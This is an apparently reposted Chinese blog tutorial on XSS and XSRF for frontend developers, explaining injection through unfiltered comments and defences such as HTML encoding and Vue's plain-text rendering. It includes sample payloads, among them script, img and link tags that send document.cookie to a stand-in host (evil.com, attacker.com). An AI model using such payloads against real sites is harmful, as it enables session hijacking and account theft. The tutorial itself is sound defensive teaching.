[Tips] 本文是從 jianshu 平臺重新修改編輯后移植來的，比上一版本做了些修訂。

最近在看一些關于網絡安全的問題，當然許多是跟前端相關的，包括且不局限于xss和xsrf 了，那么小編就結合最近的學習實踐談一些粗淺的認識。（\(^o^)/，我是一個喜歡做實驗的家伙）

XSS （Cross Site Script）跨站腳本攻擊！

XSS 意思就是跨站腳本攻擊。這里面也涉及到跨域的問題，特別是在后面談到XSRF防御的時候。簡單來說XSS就是來自外部（用戶）輸入的腳本被注入到了受害網站，如果該網站沒有對用戶輸入進行過濾，那么這段腳本可能被之后訪問該網站的用戶瀏覽器執行。

舉個栗子：

假如某個網站有評論功能且沒有針對XSS 的過濾，那么小編在某文章下評論了以下內容：

<script>alert("你查看了我的文章！！快打賞！！不打賞不準走！！哈哈")</script>

那么這段字符串POST給了網站服務器，沒有對腳本進行過濾或者Encode，啥都沒做。原封不動地加入了原本的HTML頁面，那么當其他用戶查看該文章的時候瀏覽器就會自動執行HTML 文檔中的這句 JS 腳本 ，彈出來 嚇人 _ ...

這還不算啥，頂多就是煩人。但如果評論里面寫的是：

<script>window.open(www.evil.com?content=document.cookie);</script>

當你再次訪問這篇文章的時候，你在當前域下的cookie被小編的惡意網站（www.evil.com）給get到了。。這個網站的后臺程序可能會拿到你的cookie（其中包含sessionId 等等），然后借此cookie登陸你的網站賬戶，亂發段子。當然，目前主流的網站都是禁止JS 腳本獲取并且操作cookie的，并且瀏覽器中的安全機制使得cookie 不會被發送到跨域的其他網站中。

其實，有個非常棒的圖展示了整個XSS攻擊的過程。

>> how-xss-works

所以作為一個合格的WebApp，不能相信任何用戶輸入內容， 更不能對數據未加處理就直接Print到HTML DOM 結構里。當今主流的一些前端框架（Angular，Vue.js 等）都實現了對 XSS 的防御，結合服務器端的Token機制更是可以防御XSRF（跨站偽造請求）

防御

那么到底如何防御這種簡單的注入攻擊呢？

簡單地說，核心思想就是：不相信任何用戶輸入，不允許用戶注入腳本，例如<script> 等內容。在需要顯示腳本內容之前對其進行Encode，再顯示在HTML中。例如Jquery 通過 $.text(userInput) 來創建純文本節點，而不是把userInput 當作腳本來執行。 Vue.js 等框架則具有更高的安全策略，默認把所有動態內容渲染為純文本，當你需要把內容執行的時候需要顯式調用v-html 指令，如下：

<p >Using mustaches: {{ rawHtml }} </p> // 默認安全渲染純文本

<p >Using v-html directive: <span v-html="rawHtml"> </span></p> // 當作Html或js 解釋執行

除了<script></script>這樣的標簽在DOM結構中會自動執行，還有哪些？？

對的！<img src="attacker.com/attack.js" /> <a href="www.evil.com?content=document.cookie"></a> 等等都能實現GET請求外部腳本，或者向非法網站發送POST請求，可能會修改你正在訪問的網站的密碼，所以這些內容都應該做Encode處理，總結起來，原理上就是把這些帶有 "<", ">", '\"' 等內容轉義即可。

舉個栗子：

用戶輸入內容是：<script>alert(" peiqian!")</script>

無害處理后字符串是：

>> 轉換后的字符串

轉換背后的機制是一套特殊字符 和 安全字符的映射表， 這與瀏覽器對HTML的渲染機制有關。各大瀏覽器中的JS引擎碰到<script> </script>這樣的標簽，會解析其中的代碼，并且執行。但碰到 &lt;&gt; 這樣的字符就不會當做JS 執行，而是作為普通字符串打印。大家可以試試看Encode 前后這個例子在瀏覽器中的表現。

映射表參考鏈接： 映射表

參考文章

cross-site-scripting

全面學習XSS

更多專業前端知識，請上 【猿2048】www.mk2048.com

總結

以上是生活随笔為你收集整理的注意安全！XSS 和 XSRF的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。